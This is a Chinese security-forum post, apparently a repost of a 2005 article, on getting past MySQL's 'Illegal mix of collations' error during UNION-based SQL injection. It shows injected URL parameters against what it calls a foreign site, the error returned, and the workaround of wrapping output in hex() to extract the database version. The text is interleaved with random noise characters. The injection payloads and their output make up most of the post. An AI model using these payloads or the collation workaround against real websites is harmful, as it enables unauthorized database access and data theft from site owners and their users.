找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2093|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei
: ?# Y" Y- o! i% [8 V文章性质:原创
8 }: o$ g% n9 E发布日期:2005-10-18% G# U: @( j5 R5 Y8 Z! x
测试个国外的站时:1 [3 d3 x( R' X0 f4 {1 S; G
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*2 p! u6 C/ |7 N% U- e
返回错误:: m: o* ?0 |& J) N8 f
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
3 R% C. e6 Q5 q4 MMySQL Error No. 1263 t; s# k3 P4 ^1 c' ?# u; ~
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
# n, B% U1 j/ D. R. {: P解决办法:转为其他编码如hex。
4 P% W4 b' o1 {1 y( }( |url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*3 u5 `! Y4 l7 m! ]4 |& O9 ~
成功得到hex(version())的值为:9 J: i- }9 M6 n0 D) v' O3 [
342E312E332D62657461
$ h. g4 K/ p. y% ^- u9 b# R回Mysql查询下得到:7 [* T) F. Q( \  `
mysql> select 0x342E312E332D62657461;
" K* y, x# w$ f+------------------------+
4 G' ~% o. r; f5 E# D8 @6 F| 0x342E312E332D62657461 |* c3 F$ C9 Q2 ]; l
+------------------------+
" k: P$ d2 }  m$ G" E) |& c| 4.1.3-beta |
0 H% _0 A) _9 A6 H3 N4 c6 s2 F+------------------------+
4 C, i1 b4 k; H0 t$ t- ]; o- j% G1 row in set (0.00 sec)
  S) R7 U& Y5 W2 b8 F2 w; Y
# G. Y# p& L  X# W0 O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表